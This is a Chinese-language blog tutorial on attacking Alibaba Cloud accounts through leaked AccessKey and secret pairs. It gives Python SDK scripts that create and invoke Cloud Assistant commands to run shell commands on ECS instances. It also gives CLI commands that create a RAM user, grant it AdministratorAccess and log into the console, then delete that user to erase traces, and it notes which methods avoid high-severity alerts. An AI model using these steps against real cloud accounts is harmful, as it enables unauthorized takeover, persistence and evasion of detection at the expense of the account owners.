阿里云攻防

本文详细介绍了如何在阿里云上利用AccessKey和secret执行命令,包括手工利用行云管家导入云主机,通过API创建和调用命令,以及工具自动化接管控制台的过程。同时提到了控制台接管的风险和手动操作的隐匿性对比。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

阿里云攻防

0x01 前言

​ 该文档主要记录对于阿里云上主机的攻击手法;排除n day、web漏洞、逻辑漏洞等,可以尝试去查找是否存在泄露的Access Key与secret。

0x02 命令执行

​ 以下利用手法均建立在获取到Access Key与secret后(获取途径自行尝试~)

手工利用

​ 首先利用行云管家导入云主机,输入Access Key与secret

https://yun.cloudbility.com/

img

img

img

​ 点击导入后的云主机,查看详情,需要关注的点在于实例ID和网络信息

img

​ 获取到以上信息后在转到阿里云的api控制台

https://api.aliyun.com/cloudcontrol/ECS/LaunchTemplateVersion

img

​ 搜索框处搜索command,找到云助手,需要用的是

CreateCommand:创建命令
InvokeCommand:调用命令

img

​ 参数这里需要注意的是type,name可以任意填,CommandContent为命令,需要base64编码

type类型:
RunBatScript:创建一个在 Windows 实例中运行的 Bat 脚本。
RunPowerShellScript:创建一个在 Windows 实例中运行的 PowerShell 脚本。
RunShellScript:创建一个在 Linux 实例中运行的 Shell 脚本。

img

​ 填写完之后,点击sdk示例,选择python(sdk版本选择1.0即可)

img

​ 点击运行示例,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件(chrome可能会显示不出来)

img

​ 用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret(同时注意修改下脚本内容)

#!/usr/bin/env python
#coding=utf-8

import os
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest

client = AcsClient('access_key','access_secret','cn-beijing')

request = CreateCommandRequest()
request.set_accept_format('json')

request.set_Name("latest")
request.set_Type("RunShellScript")
request.set_CommandContent("cmd base64编码")

response = client.do_action_with_exception(request)
# python2: print(response) 
print(str(response, encoding='utf-8'))

img

​ 执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。

img

​ 打开InvokeCommand,执行以下内容

RegionId:之前行云管家中的所属网络。

CommandId:执行CreateCommand.py返回的CommandId。

InstanceId:填写示例ID,行云管家中获取到的那个。

img

​ 继续点击调试SDK示例代码,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了(记得修改下脚本)。

#!/usr/bin/env python
#coding=utf-8

import os
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest

client = AcsClient('access_key','access_secret','cn-beijing')

request = InvokeCommandRequest()
request.set_accept_format('json')

request.set_CommandId("上一步返回的CommandId")
request.set_InstanceIds(["实例id"])


response = client.do_action_with_exception(request)
# python2: print(response) 
print(str(response, encoding = 'utf-8'))

img

​ 修改完成后可以执行InvokeCommand.py了

img

​ 执行完成之后就可以看到命令被成功执行了(环境下的bash shell反弹无法执行,被拦截)

image-20240224103438351

工具利用

​ 该工具可自动化执行手工利用的步骤

https://github.com/mrknow001/aliyun-accesskey-Tools

img

0x03 控制台接管

​ 与获取到as、ak后直接执行命令不同的路线,尝试利用新增用户等方法来登录阿里云控制台,从而接管整个阿里云资源。

手工利用

​ 手工利用手法触发告警的概率较低,且理论上不会触发高危告警

​ 首先参考下面链接,安装阿里云cli控制台

https://help.aliyun.com/document_detail/121510.html

​ 安装成功后如下

img

​ 这时开始进行配置,输入configure,开始配置,输入获取到的ak和as完成配置。

aliyun configure

img

​ 查询账号别名

aliyun ram GetAccountAlias

img

​ 创建账号

aliyun ram CreateUser --UserName test111

img

​ 调用CreateLoginProfile接口给这个账号添加web控制台的权限,并加上密码

aliyun ram CreateLoginProfile --UserName test111 --Password  Test1998@

img

​ 列出账号,查看是否创建成功

aliyun ram ListUsers

img

​ 接下来调用ListPolicies接口,列出权限策略,给刚才创建的用户加上权限

aliyun ram ListPolicies

img

​ 调用AttachPolicyToUser 接口给用户加上admin权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName test111

img

​ 做完以上操作后,利用以下链接进行登录,别名利用刚才第一步获取到的别名即可

https://signin.aliyun.com

img

img

​ 输入密码,成功登录,接管阿里云权限

img

​ 执行完所有操作后,便可以着手删除账户隐匿痕迹了

​ 首先取消当前账户的权限

aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName test111

img

​ 然后删除账户

aliyun ram DeleteUser --UserName test111

img

​ 这时在查询,已经不存在该用户了,web控制台也无法登录了

aliyun ram ListUsers

img

工具利用

​ 工具自动化可以使用cf,不过现在已经不公开了,且旧版本使用的话容易触发告警

https://github.com/teamssix/cf

​ 配置阿里云ak、as

cf.exe config

image-20240224103539359

​ 配置完成后可执行其他命令,如查看当前资源

cf.exe alibaba ls

img

​ 一键接管

cf.exe alibaba console

image-20240224103617133

img

​ 可以看到工具会造成高危告警,隐匿性不如手工

img

​ 删除账户

cf.exe alibaba console cancel

img

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值